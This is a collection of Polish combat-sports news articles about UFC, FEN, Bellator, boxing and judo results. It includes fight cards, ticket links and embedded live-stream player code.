Wydaje się, że 39-letni Souza najlepsze lata ma za sobą, jednak jest niezwykle groźny. Błachowicz musi być czujny w parterze, a i w stójce Brazylijczyk potrafi być niebezpieczny. Aż 22 z 26 wygranych walk Souza zakończył przed czasem. Ostatnio jego występy to istna sinusoida. W kwietniu przegrał na dystansie pięciu rund z Jackiem Hermanssonem, jednak wcześniej pokonał przez nokaut Chrisa Weidmana. W maju 2018 roku zanotował porażkę w starciu z Kelvinem Gastelumem. Co warto podkreślić, podczas gali w Brazylii Souza zadebiutuje w kategorii półciężkiej

Pozostaje czekać na występ Błachowicza w Sao Paulo. Polak wydaje się być nieznacznym faworytem starcia z Souzą. Jeśli wygra, walka o pas wydaje się być nieuchronną. Choć los płata różne figle…

16 listopada kolejną walkę w UFC stoczy była mistrzyni KSW Ariane Lipski. Jej rywalką będzie Priscila Cachoeira.

Fot. Jan Błachowicz Facebook

KM

Dziewięć medali Polaków

Udany występ polskich judoków w Pucharze Europy w Bratysławie. Biało-czerwoni wywalczyli dziewięć medali i zajęli drugie miejsce w klasyfikacji medalowej. Lepsi byli tylko Niemcy.

Rok temu w Bratysławie był siódmy, teraz wygrał. Paweł Drzymmał (81kg) wywalczył pierwszy medal w rywalizacji seniorskiej i od razu sięgnął po złoto. Polski judoka wygrał pięć walk, w tym cztery przed czasem. Do rywalizacji z Drzymałem szczęścia nie mieli bracia Bekmurzaev z Białorusi. Z Yunusem zawodnik Czarnych Bytom wygrał w półfinale, zaś w finale pokonał Yusupa. Drugie zwycięstwo w karierze w zawodach Pucharu Europy odniósł Kamil Grabowski (+100kg). Premierowe zwycięstwo miało miejsce jednak ponad trzy lata temu. W Bratysławie Grabowski szedł jak burza. Wygrał cztery walki, żadna nie trwała powyżej dwóch minut! W finale Polak uporał się z Ukraińcem Nodarem Machutadze, który w tym roku stał na podium zawodów w Dubrovniku. Po raz kolejny złoty medal przeszedł mu koło nosa.

Ponad trzy lata na podium w międzynarodowych zawodach czekała Ewa Konieczny (48kg). Judoczka Czarnych Bytom w 2016 roku zdobyła srebro w Tallinie. W tym roku była siódma w Oberwart. Konieczny wygrała trzy walki. W półfinale po dogrywce pokonała Elisę Andrasti z Włoch. Z kolei w finale przed czasem uległa innej zawodniczce z Italii – Micheli Fiorini. Wynik z poprzedniego roku poprawiła Katarzyna Wiszniewska (52kg), kiedy to była siódma. Tym razem Polka sięgnęła po srebro. Wiszniewska wygrała cztery starcia, w finale uległa Emoke Knetig. Paula Kulaga (+78kg) znalazła receptę na dwie Chorwatki, co dało jej miejsce w finale. Lepsza okazała się jednak Słowenka Urska Torkar. Sukces Daniela Moskala (100kg). W drodze do finału zawodnik pokonał rodaka Dominika Majowskiego, jednak w finale nie sprostał Dario Kurbjeweitowi Garcii.

Aleksandra Kaleta (52kg) po dwóch wygranych starciach, przegrała z Emoke Kneting, która triumfowała w Bratysławie. Polka poradziła sobie w repasażach i stanęła do rywalizacji o brąz. Błyskawicznie poradziła sobie z Teją Tropan. Doświadczenie na poziomie seniorskim zdobywa Karolina Miller (70kg). 20-latka w Bratysławie wygrała dwa pojedynki, co dało jej miejsce na najniższym stopniu podium. Po medalu w Uster, kolejny na swoim koncie zapisał Kacper Szczurowski (100kg). 22-letni judoka w mgnieniu oka dotarł do półfinału. Wygrał dwie walki w czasie poniżej minuty! Drogę do finału zablokował mu Dario Kurbjeweit Gracia, który w starciu o złoto pokonał Daniela Moskala. Szczurowski sięgnął po medal pokonując Mateja Hajasa.

Na piątych miejscach rywalizację zakończyli Barbata Faltynowicz (70kg), Julia Jaśkiewicz (78kg), Agata Zacheja (63kg), Dominik Majowski (100kg).

Najlepsi w Bratysławie byli Niemcy, którzy również zdobyli dziewięć medali. Z tą różnicą, że cztery złote (Polska dwa). Trzecie miejsce w klasyfikacji medalowej dla Włoch – cztery krążki.

Fot. zdjęcie poglądowe

KM

Lech przywita Trybsona w klatce FEN

Jarosław Lech (5-4, 2 KO, 2 SUB) zmierzy się z Pawłem Trybałą (5-3, 5 KO) podczas gali FEN 26 we Wrocławiu. Pojedynek ten zakontraktowano w limicie kategorii półciężkiej.

Lech ma na swoim koncie 5 wygranych walk, z których cztery odniósł przed czasem. Zawodnik trenujący na co dzień w Myszkowie dwa swoje ostatnie starcia zwyciężył poddając Piotra Drozdowskiego i jednogłośnie rozprawiając się z Piotrem Walawskim. Na początku 2019 roku Lech znokautował w 1. rundzie Przemysława Welnickiego. Konfrontacja z Trybsonem będzie jego debiutem pod szyldem FEN.

Trybała pierwotnie miał wystąpić na FEN podczas 20. edycji, ale podczas przygotowań zerwał więzadła w kolanie i nie był w stanie skonfrontować się z Tymoteuszem Świątkiem. Po przerwie stoczył dwa pojedynki i oba wygrał przed czasem. W marcu 2019 roku znokautował w 2. rundzie Gerarda Bąka, niespełna trzy miesiące później w premierowej odsłonie uporał się z Marcinem Najmanem. Wcześniej o sile jego uderzenia przekonali się David Wysocki oraz Paweł Bolanowski, którzy również musieli uznać wyższość jednego z bohaterów gali FEN 26.

 

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
93 KG, MMA: Paweł Trybała vs Jarosław Lech
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
+95 KG, K-1: Michał Turyński vs TBA
77 KG, MMA: Szymon Dusza vs TBA
70 KG, MMA: Łukasz Charzewski VS Krystian Blezień
TBA vs TBA
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Cyborg w Bellatorze

W sierpniu dobiegła końca przygoda Cristiane Justino z UFC. Kolejnym wyzwaniem dla brazylijskiej gwiazdy kobiecego MMA będzie rywalizacja w Bellatorze.

W ostatnim czasie było głośno o różnicy zdań między Daną White'm, a Cristiane Justino. W głównej mierze chodziło o rewanżowe starcie "Cyborg" z Amandą Nunes, z którą przegrała w grudniu 2018 roku i straciła tytuł w wadze piórkowej. White uważał, że Brazylijka chce uniknąć rewanżu, ta jednak była… innego zdania. Między przedstawicielem UFC, a zawodniczką dochodziło do słownych przepychanek. W lipcu (UFC 240) Cyborg pokonała Felicię Spencer i tym samym wypełniła kontrakt z amerykańską organizacją. Dodatkowo w sieci pojawiło się zmanipulowane przez zespół Brazylijki nagranie, które uderzyło we włodarza UFC. Koniec końców White postanowił zrezygnować z jej usług. Czołowa zawodniczka kobiecego MMA odeszła z UFC, jednak jej umiejętności i pozycja sprawiły, że nie musiała martwić się o przyszłość. Zainteresowanie natychmiast wyraził prezydent Bellatora Scott Coker. Strony współpracowały ze sobą w czasach, gdy Justino rywalizowała w Strikeforce.

Scott Coker poinformował, że Bellator podpisał kontrakt z "Cyborg", który jest najwyższym w historii kobiecego MMA. Wartości umowy nie ujawniono. Justino będzie zatem chciała zdominować rywalizację w kolejnej w organizacji. W dotychczasowych zmaganiach "Cyborg" zasiadała na tronie w Strikeforce, Invicta oraz UFC. W tej ostatniej tytułu broniła dwukrotnie, wywalczyła go w lipcu 2017 roku pokonując Tonyę Evinger.

Pas mistrzowski wagi piórkowej należy do Julia Budd, która broniła go już trzykrotnie. 36-letnia Kanadyjka wygrała jedenaście kolejnych walk! Ostatnią porażkę zanotowała z listopadzie 2011 roku w Strikeforce z Rondą Rousey. Co ciekawe Budd, tak jak i Justino, ma na koncie przegrany pojedynek z Amandą Nunes.

Pozostaje czekać na pierwszy występ 34-letniej Justino w Bellatorze. Wiadomo, że organizacja dokonała poważnego wzmocnienia, a sama zawodniczka mierzy wysoko. Jeśli zdobędzie tytuł w Bellatorze będzie to jej czwarte mistrzostwo. Zapewne Justino zrobi wszystko, aby pokazać władzom UFC, że mają czego żałować.

KM

Niepokonany Charzewski sprawdzi debiutującego w FEN Blezienia

Łukasz Charzewski (7-0, 2 KO, 2 SUB) podczas gali FEN 26 we Wrocławiu po raz drugi wystąpi pod szyldem federacji. Niepokonany na zawodowstwie „Harry” podejmie Krystiana Blezienia (3-1, 2 KO, 1 SUB).

Charzewski zadebiutował w FEN podczas gali FEN 23, kiedy skrzyżował rękawice z Łukaszem Bieńkiem, którego poddał w 3. rundzie. Później zawodnik z Kamiennej Góry wygrał poza federacją z Kamilem Lamprychtem – po 1. rywal Harry’ego został poddany przez narożnik. Niepokonany Charzewski ma na rozkładzie między innymi takich zawodników, jak Artur Pawlik czy Tomasz Kubczak.

Blezień może pochwalić się trzema zwycięstwami odniesionymi na zawodowstwie. O sile jego uderzeń przekonali się Mariusz Skwarek, Dominik Kowalski oraz Maciej Kierzkowski, których fighter z Dębicy pokonał na swojej dotychczasowej ścieżce. Konfrontacja z Charzewskim będzie debiutem Blezienia pod szyldem FEN.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
70 KG, MMA: Łukasz Charzewski VS Krystian Blezień 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

FEN Social Media: 
Facebook:  facebook.com/fightexclusivenight/ 
Twitter:  twitter.com/fenmma 
Instagram:  instagram.com/fightexclusivenight/

Brąz i starczy

Julia Kowalczyk (57kg) autorką jedynego medalu dla Polski podczas mistrzostw świata w judo w Tokio. Rywalizację zdominowali gospodarze, którzy zapisali na swoim koncie 11 krążków.

Świetny indywidualny występ Julii Kowalczyk i największy sukces w karierze naszej judoczki. Niespełna 22-letnia zawodniczka wygrała w Tokio pięć walk. Przegrała jedynie z Japonką Tsukasą Yoshidą, ale poradziła sobie w repasażach i stanęła przed szansą na wywalczenie brązowego medalu. Zacięta walka z Iveliną Ilievą w ostatnich sekundach rozstrzygnęła się na korzyść Kowalczyk.

Pozostali reprezentanci Polski nie doszli do strefy medalowej. Dobry występ zaliczyła Agata Perenc (52kg). 15. zawodniczka światowego rankingu wygrała dwie walki, w pierwszej rundzie miała wolny los. W 1/8 finału Polka trafiła na utytułowaną Majlindę Kelmendi. Reprezentantka Kosowa wygrała przez waza ari, a zmagania w Tokio zakończyła z brązowym krążkiem.

Z dobrej strony pokazał się Patryk Wawrzyczek (66kg). Polski judoka wygrał trzy pojedynki, w tym dwa przez ippon. W 1/8 finału los skojarzył Wawrzyczka z Denisem Vieru. Reprezentant Mołdawii wygrywał w tym roku zawody rangi Grand Slam w Paryżu i Baku. W Tokio triumfował z Wawrzyczkiem przed czasem, a ostatecznie sięgnął po brąz.

Po dwie walki wygrali Wiktor Mrówczyński (73kg) i Sebastian Marcinkiewicz (81kg). Odpadli w 1/16 finału – odpowiednio z Constantinem Gabunem oraz Dominicem Resselem. Na tym etapie z mistrzostwami pożegnały się również Anna Borowska (57kg) i Daria Pogorzelec (70kg).

Najlepsi Japończycy

W klasyfikacji medalowej równych nie mieli sobie Japończycy – 11 krążków, w tym cztery z najcenniejszego kruszcu. Tytuł z Baku obroniła Uta Abe (52kg). Trzecie złoto mistrzostw świata, ale pierwsze na poziomie seniorskim zdobyła Akira Sone (+78kg). W tamtym roku został wicemistrzem Azji, zaś w Tokio wywalczył złoto światowego czempionatu – taką drogę przebył Joshiro Maruyama (66kg). Nie zawiódł mistrz olimpijski z Rio de Janeiro Shohei Ono (73kg). W Tokio wywalczył trzeci tytuł mistrza świata.

Druga pozycja w klasyfikacji medalowej dla Francuzów – pięć krążków, w tym trzy złote. Co ciekawe wszystkie zdobyły panie – Clarisse Agbengnenoi (63kg), Marie Eve Gahie (70kg) oraz Madeleine Malinga (78kg). Trzecia Portugalia – złoto i srebro. Polska na 23. miejscu.

KM

Kto dla Usyka?

Oczekiwanie na debiut Oleksandra Usyka w wadze ciężkiej. Ukraiński bokser wraca po kontuzji i czeka na rywala. Nie będzie nim Carlos Takam. Rozważane są kandydatury Bryanta Jenningsa i Tyrone'a Sponga.

Ostatni pojedynek Usyk stoczył 10 listopada 2018 roku. W Manchesterze w ósmej rundzie znokautował Tony'ego Bellewa i obronił tytuły WBO, WBC, WBA i IBF w kategorii junior ciężkiej. Kolejnym celem ukraińskiego czempiona jest zawojowanie wagi ciężkiej. Wielu zacierało ręce i czekało na debiut pięściarza w kategorii królewskiej. Rywalem Usyka miał być Carlos Takam, który w swojej karierze pokonał m.in. Marcina Rekowskiego. Pojedynek zaplanowano na 25 maja, jednak do niego doszło z powodu kontuzji Usyka. Uraz bicepsa sprawił, że debiut 32-latka musiał zostać przełożony.

Ukraiński pięściarz jest już zdrowy i czeka na pierwszy pojedynek w wadze ciężkiej. Ma wystąpić 12 października w Wintrust Arena w Chicago. Wiadomo, że jego rywalem nie będzie Takam, który ma zmierzyć się z Joe DeGuardią. Mówiło się również o możliwym spotkaniu 32-letniego pięściarza z Andriejem Fiedosowem. Usyk nie chciał jednak tej walki ze względu na… napięcia polityczne pomiędzy krajami.

Wśród kandydatów do rywalizacji z Usykiem są Bryant Jennings oraz Tyrone Spong. Amerykanin swego czasu rywalizował z Władimirem Kliczko o mistrzowskie pasy w wadze ciężkiej. W tym roku blisko 35-letni bokser przegrał dwie walki – z Oscarem Rivasem i Joe Joyce'm. Ostatni raz wygrał rok temu – pokonał przed czasem Alexandra Dimitrenko. 33-letni Spong jeszcze nie przegrał na zawodowym ringu. Aż 12 z 13 walk rozstrzygnął przed czasem. Spong szykuje się do kolejnej walki – 31 sierpnia spotka się z Jeysonem Mindą. Warto dodać, że w przeszłości Holender rywalizował również w kickboxingu.

Sprawa wyłonienia rywala dla Usyka wydaje się coraz bliższa finału. Czas biegnie, Ukrainiec jest spragniony rywalizacji, więc nie ma na co czekać. Pytanie – czy pierwszy rywal będzie przystawką dla 32-latka przed poważniejszymi pojedynkami? Jak Usyk odnajdzie się w kategorii królewskiej? Najlepiej na te pytania odpowie w ringu, ale w wadze ciężkiej jest i będzie ciekawie. Nic tylko się cieszyć.

Fot. Facebook Александр Усик / Usyk

KM

Brazylijczyk Fonseca rywalem Grzebyka w pierwszej obronie pasa

Robert Fonseca (12-3, 2 KO, 6 SUB) zmierzy się z Andrzejem Grzebykiem (15-3, 8 KO, 3 SUB) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Będzie to pierwsza obrona pasa mistrzowskiego przez Grzebyka i walka wieczoru dolnośląskiej edycji.

Fonseca ma 32 lata i pochodzi z Manaus, największego miasta Amazonii. „Pato” ma na swoim koncie 12 zwycięstw, z których 8 odniósł przed czasem – 2 przez nokauty i 6 dzięki poddaniom. Fonseca zapisał w swoim rekordzie pięć kolejnych wygranych ani razu nie czekając na werdykt sędziów. W czerwcu tego roku poddał w 1. rundzie Michała Wiencka. Wcześniej w podobny sposób skończył Henrique Diasa Ribeiro i Samuela Carvalho. Występ we Wrocławiu będzie jego debiutem w FEN.

Grzebyk to pierwszy, historyczny mistrz FEN w dwóch kategoriach – średniej i półśredniej. Pierwszy tytuł zdobył podczas gali FEN 21, kiedy to pokonał przez techniczny nokaut w 4. rundzie Thiago Vieirę. Następnie rzeszowianin stoczył zwycięski pojedynek poza federacją i zszedł do limitu 77 kilogramów, gdzie w debiucie skrzyżował rękawice z Kamilem Gniadkiem. Grzebyk znowu był górą, dzięki czemu zapisał się w annałach FEN. Walka z Fonsecą będzie jego pierwszą obroną tytułu mistrzowskiego w kategorii do 84 kilogramów.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Kowalczyk z brązem mistrzostw świata

Największy sukces w karierze Julii Kowalczyk (57kg). Reprezentantka Polski wywalczyła brązowy medal w trwających w Tokio mistrzostwach świata w judo.

Doczekaliśmy się. Rok temu polscy judocy z Baku bez medalu. Najwyżej uplasował się Damian Szwarnowiecki – był piąty. Dwa lata temu w Budapeszcie na najniższym stopniu podium stanęła Agata Ozdoba (63kg). W 2014 roku w Czelabińsku brąz zawisł na szyi Katarzyny Kłys (70kg). W ślady swoich koleżanek w Tokio poszła Julia Kowalczyk.

22-letnia reprezentantka Polski ma na koncie medale mistrzowskich imprez w różnych kategoriach wiekowych. Kowalczyk zdobyła brąz mistrzostw Europy kadetek, czempionatu Starego Kontynentu juniorek. Ma na swoim koncie także mistrzostwo Europy U23. W Tokio pierwszy raz stanęła na podium mistrzostw świata. To bez wątpienia największy sukces w karierze Kowalczyk. Od początku występu w Tokio Polka prezentowała dobrą dyspozycję. Szybko uporała się z Lam Nok Yeung, a potem przez waza ari pokonała kolejno Maricę Perisić oraz Timnę Levy Nelson. W ćwierćfinale Polka trafiła na utytułowaną Tsukasę Yoshida. Kowalczyk zdobyła waza-ari, ale ubiegłoroczna mistrzyni świata odrobiła straty i triumfowała w dogrywce. 22-letnia zawodniczka Polonii Rybnik trafiła do repasaży. Mordercza walka z mistrzynią Europy Darią Meżecką trwała ponad osiem minut! Zakończyła się triumfem Polki, która była o krok od medalu. O podium Kowalczyk rywalizowała z Iweliną Iliewą. Ogromna determinacja i walka o zwycięstwo do ostatnich sekund. Bułgarka była blisko medalu, ale na ostatniej prostej Kowalczyk wykonała akcję na ippon.

Dwa pojedynki w Tokio wygrała Agata Perenc (52kg), ale w trzecim uległa późniejszej brązowej medalistce Majlindzie Kelmendi. Szybko z mistrzostwami pożegnała się Aleksandra Kaleta (52kg). Dobrze radził sobie Patryk Wawrzyczek (66kg). Wygrał trzy walki, ale przeszkodą nie do przejścia okazał się Denis Vieru. Reprezentant Mołdawii sięgnął ostatecznie po brąz. Wiktor Mrówczyński (73kg) zanotował dwie wygrane walki, ale trzecie starcie przegrał. Na pierwszej przeszkodzie odpadł Tomer Golomb (60kg).

Czekamy na kolejne dobre wieści z Tokio.

Fot. IJF/PZJudo

KM

Gala SHARKS ATTACK #3 – MYSŁOWICE 30.11.2019

Przed Wami kolejna, trzecia już edycja gali Sharks Attack.

 

Sharks Attack 3, jak zwykle w swoim dobrze wypracowanym stylu tym razem zakotwiczy w Mysłowicach w hali MOSiR ul. Bończyka 32z. Karta walk to 12 pojedynków. 10 w formule MMA oraz 2 w formule K1 w obronie pasów mistrzowskich wywalczonych na poprzednich galach Sharks Attack w grudniu 2018 przez Rafała Kosiarskiego oraz Dominike „Zośkę Filec” w maju 2019. Karta wstepna to 4 pojedynki w formule semi-pro, karta główna to 8 pojedynków w formule pro W octagonie zobaczymy lokalnych zawodników takich jak: Mariusz Radziszewski, Adrian Bober, Alan Langer czy Mateusz Gądek.

 

Start 19.00 – planowane zakończenie 23.00

Ring Announcer Krzysztof Skrzypek

Skład sędziowski poprowadzi Piotr Michalak

Cutman Piotr Lutowski

Walki komentować będą  Zbigniew Zając i Maciej ALF Glabus

W studio telewizyjnym  zasiądzie Monika  Porażyńska oraz zaproszeni goście specjalni

1. Main event – walka o pas zawodowego MP K-1 ISKA – 57 kg

Dominika Filec/Absortio Gym Rybnik/Leszczyny vs Sylwia Juśkiewicz/Human Fitness Phylosphy

2. Co main event – MMA – Pro -77 kg

Mariusz Radziszewski/Shark Top Team Bytom vs TBA

3. Extra Fight MMA – Pro -73 kg

Adrian Bober/MMATADORES Katowice vs Michał Cichoń/Shark Top Team Bytom

4. Walka o pas zawodowego MP K-1 ISKA – 68 kg

Rafał Kosiarski/Klub Kick Boxing Fighter Nowa Sól vs Patryk Magnucki/Strefa Sportów Walki Artfight Rzeszów

5. MMA – Pro -72 kg

Alan Langer/Silesian Cage Club vs Petru Buzdugan/Thai Boxing Club Mołdawia

6. MMA – Pro – 68 kg

Michał Domin/Octagon Team Żory vs Daniel Hodor/MMATADORES Katowice

7. MMA – Pro – 84 kg

Piotr Siwkowski/MMA Team Ostróda vs Mateusz Gątek/MMATADORES Katowice
8. MMA – Pro – 66 kg

Kamil Warzybok/Natal Gold Team Katowice vs Szymon Rakowicz/Octagon Team Żory

Karta Wstępna:

9. MMA Semi-pro – 77 kg

Alan Szymański/MMA Team Ostróda vs Adam Wiewióra/Silesian Cage Club

10. MMA Semi-pro – Open

Łukasz Stępień/Silesian Cage Club vs Krzysztof Bąkowski/Shark Top Team Bytom

11. MMA Semi-pro – 57 kg

Paulina Wiśniewska/MMA Team Ostróda vs Barbara Grabowska/SWD Kraków

12. MMA Semi-pro – 57 kg

Katarzyna Samerdak/Shark Top Team Bytom vs Sandra Kulpa/Silesian Cage Club

Bilety w cenie od 40zł https://link.do/bilety-sharks-attack-3

Wielka walka na horyzoncie

O możliwym starciu mistrza świata WBO wagi półciężkiej Sergiejem Kowaliowem z Saulem "Canelo" Alvarezem mówi się od dłuższego czasu. Do pojedynku miałoby dojść na początku listopada. Obóz Kowaliowa, który w sobotę (24 sierpnia) pokonał Anthony'ego Yarde'a chciałby przesunąć termin starcia.

Las Vegas, światła jupiterów, szalejący kibice spragnieni sportowych emocji, wielkie widowisko i ogromne pieniądze na stole – tak w skrócie można zapowiedzieć planowany pojedynek Kowaliowa z Alvarezem. Wiadomo, że mówimy o mocnych i wysokiej klasy bokserach. 36-letni Kowaliow w lutym br. odzyskał pas WBO z rąk Eleidera Alvareza. Skutecznie obronił tytuł w starciu z Anthony'm Yarde'm. Rosjanin wygrał w jedenastej rundzie, ale pojedynek był niezwykle wyczerpujący. W swojej karierze Kowaliow posiadał również pasy WBA i IBF. Stracił je na rzecz Andre Warda. Saul Alvarez to najlepiej zarabiający pięściarz na świecie i do bólu skuteczny. Przegrał tylko raz – z Floydem Mayweatherem Jr. Wiele kontrowersji wywołał werdykt jego starcia z Gienadijem Gołowkinem, do której doszło we wrześniu 2018 roku. Mimo to Meksykanin jest klasowym pięściarzem, wygrał aż 52 pojedynki! "Canelo" rządzi w wadze średniej – ma pasy WBC, WBA i IBF.

Starcie gwiazd w Las Vegas miałoby się odbyć 2 bądź 9 listopada. "Canelo" w tym roku walczył tylko raz. W maju pokonał Daniela Jacobsa. Kolejną walkę miał stoczyć we wrześniu, w obrębie zainteresowań pojawił się Kowaliow. Rosjanin wszedł na ring w sierpniu. Z pierwszych przymiarek nic nie wyszło, ale temat wciąż jest żywy, a strony prowadzą negocjacje. Istotną kwestią jest satysfakcja finansowa Kowaliowa. Proponowano mu 6 milionów dolarów, jednak nie przystał na tę ofertę. To prawdopodobnie jeden z powodów, dla których nie doszło do pojedynku we wrześniu. Obecnie gaża Kowaliowa może wynieść około 10 milionów.

Rosjanin jest "na świeżo" po walce, z kolei Alvarez trenuje. Obóz Kowaliowa chciałby, żeby ten nieco odpoczął i dopiero rozpoczął przygotowania. Dlatego też promotorzy mistrza WBO wagi półciężkiej liczą na przesunięcie terminu. Pewne jest, że wielka walka jest na horyzoncie. Obie strony jej chcą, a porozumienie wydaje się kwestią czasu.

Fot. Sergey Kovalev Facebook

KM

LIVE: Wirtuoz Challenge Special Edition

Zapraszamy na transmisję telewizyjną z gali Wirtuoz Challenge Special Edition.

[kod]

Wirtuoz Challenge Special Edition

Wirtuoz Challenge Special Edition

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: FEN 26 – Oficjalna ceremonia ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia zawodników przed galą FEN 26.

[kod]

FEN 26 – Oficjalna ceremonia ważenia

FEN 26 – Oficjalna ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Wirtuoz Challenge #4

Zapraszamy do oglądania gali Wirtuoz Challenge #4.

[kod]

Wirtuoz Challenge #4

Wirtuoz Challenge #4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

FEN 26: Bajor sprawdzi Sianosa we Wrocławiu

Szymon Bajor (19-8, 7 KO, 9 SUB) zmierzy się z Marcinem Sianosem (4-3, 4 KO) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Obaj zawodnicy przystąpią do tej walki po zwycięstwach pod szyldem federacji.

Bajor udanie zadebiutował w FEN w Warszawie, podczas 24. edycji, kiedy to w 1. rundzie wygrał przez techniczny nokaut z Grzegorzem Cieplińskim. Po tym pojedynku udał się na walkę do Rosji, którą również wygrał przed czasem w premierowej odsłonie. W sierpniu 2017 roku znokautował Alexandra Stolyarova, rok wcześniej na pełnym dystansie jednogłośną decyzją sędziów rozprawił się z Teodorasem Aukstuolisem. Rzeszowianin tylko trzykrotnie werdykt w swoich pojedynkach pozostawiał sędziom. 

Sianos swój ostatni pojedynek wygrał niezwykle efektownie, nokautując w 1. rundzie Marcina Zontka. W sierpniu 2017 roku w Koszalinie zadebiutował pod szyldem FEN. Podczas edycji „Summer Edition” pewnie pokonał Mateusza Łazowskiego i z impetem zaznaczył swoją obecność w federacji. W przeszłości Sianos znokautował Jędrzeja Martuzalskiego oraz Adriana Woźniaka. Wszystkie zwycięstwa, które ma na swoim koncie zawodnik z Kołobrzegu, zostały odniesione w 1. rundach.

Zwycięzca tego pojedynku stanie do walki o pas mistrzowski w kategorii ciężkiej.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs TBA* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  facebook.com/events/708341146245825/